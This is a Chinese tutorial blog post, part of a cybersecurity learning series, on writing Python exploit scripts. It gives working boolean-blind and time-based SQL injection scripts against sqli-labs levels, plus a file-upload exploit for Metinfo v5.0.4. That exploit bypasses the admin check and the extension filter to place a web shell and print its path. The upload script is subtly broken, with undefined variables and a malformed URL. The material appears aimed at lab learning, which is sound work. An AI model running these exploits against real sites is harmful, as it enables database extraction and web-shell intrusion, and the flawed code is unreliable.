【CyberSecurityLearning 68】python 编写exp

本文通过Python脚本展示了布尔盲注和延时注入的实现,以sqli-labs的第八关和第九关为例,同时介绍了如何利用Python进行文件上传操作,以Metinfo v5.0.4为例。文章涵盖了基础的HTTP请求设置、参数传递和利用技巧。
摘要由CSDN通过智能技术生成

目录

python 编写exp

用python脚本实现布尔盲注

用python脚本实现延时注入

文件上传


 

python 编写exp

exp:漏洞利用工具

以Web 漏洞为主

要求:
1、能够看懂别人写的exp,并修改
2、能自己写exp

基础环境:python3

核心模块:requests
requests模块介绍详细请看:
https://blog.csdn.net/Waffle666/article/details/115720052

定制头部

重新定义User-Agent 信息

超时

GET 传参

POST 传参

文件上传

cookie 信息

 

用python脚本实现布尔盲注

以sqli-labs第八关为例

import requests
import string
 
url = "http://192.168.3.102:82/Less-8/"
 
normalHtmlLen = len(requests.get(url=url+"?id=1").text)
 
print("The len of HTML: "+str(normalHtmlLen))
 
dbNameLen =0
 
while True:
    dbNameLen_url = url+"?id=1'+and+length(database())="+str(dbNameLen)+"--+"
    #print(dbNameLen_url)
 
    if len(requests.get(dbNameLen_url).text) == normalHtmlLen:
        print("The len of dbNameLen: "+str(dbNameLen))
        break
 
    if dbNameLen == 30:
        print("ERROR!")
        break
 
    dbNameLen +=1
 
dbName=""
 
for i in range(1,9):
    for a in string.ascii_lowercase:
        dbName_url = url+"?id=1'+and+substr(database(),"+str(i)+",1)='"+a+"'--+"
        #print(dbName_url)
        if len(requests.get(dbName_url).text) == normalHtmlLen:
            dbName +=a
            print("The dbName :"+dbName)
            break

用python脚本实现延时注入

以sqli-labs第九关为例

import requests
import string
 
url = "http://192.168.3.102:82/Less-8/"
 
def timeOut(url):
    try:
        res = requests.get(url,timeout=3)
        return res.text
 
    except Exception as e:
        return "timeout"
 
dbNameLen = 0
 
while True:
    dbNameLen +=1
    dbNameLen_url = url+"?id=1'+and+if(length(database())="+str(dbNameLen)+",sleep(5),1) --+"
    #print(dbNameLen_url)
 
    if "timeout" in timeOut(dbNameLen_url):
        print("The Len of dbName: "+str(dbNameLen))
        break;
 
    if dbNameLen == 30:
        print("ERROR!")
        break;
 
dbName = ""
 
for i in range(1,dbNameLen+1):
    for char in string.ascii_lowercase:
        dbName_url = url+"?id=1'+and+if(substr(database(),"+str(i)+",1)='"+char+"',sleep(5),1)--+"
        #print(dbName_url)
 
        if "timeout" in timeOut(dbName_url):
            dbName +=char
            print("The dbName :"+dbName)
            break;

文件上传

以Metinfov5.0.4为例,

import requests
import sys
 
url = sys.argv[1]
 
postUrl = urL+"http://192.168.1.200/metinfov504/metinfov504/admin/include/uploadify.php?metinfo_admin_id=aaa&metinfo_admin_pass=123.com&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|pphphp"
 
upFile = {"FileData":open(path,"rb")}
 
res = requests.post(url=postUrl,files=upFile)
 
print("The Shell path:"+url+res.text[4:])

 

 

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值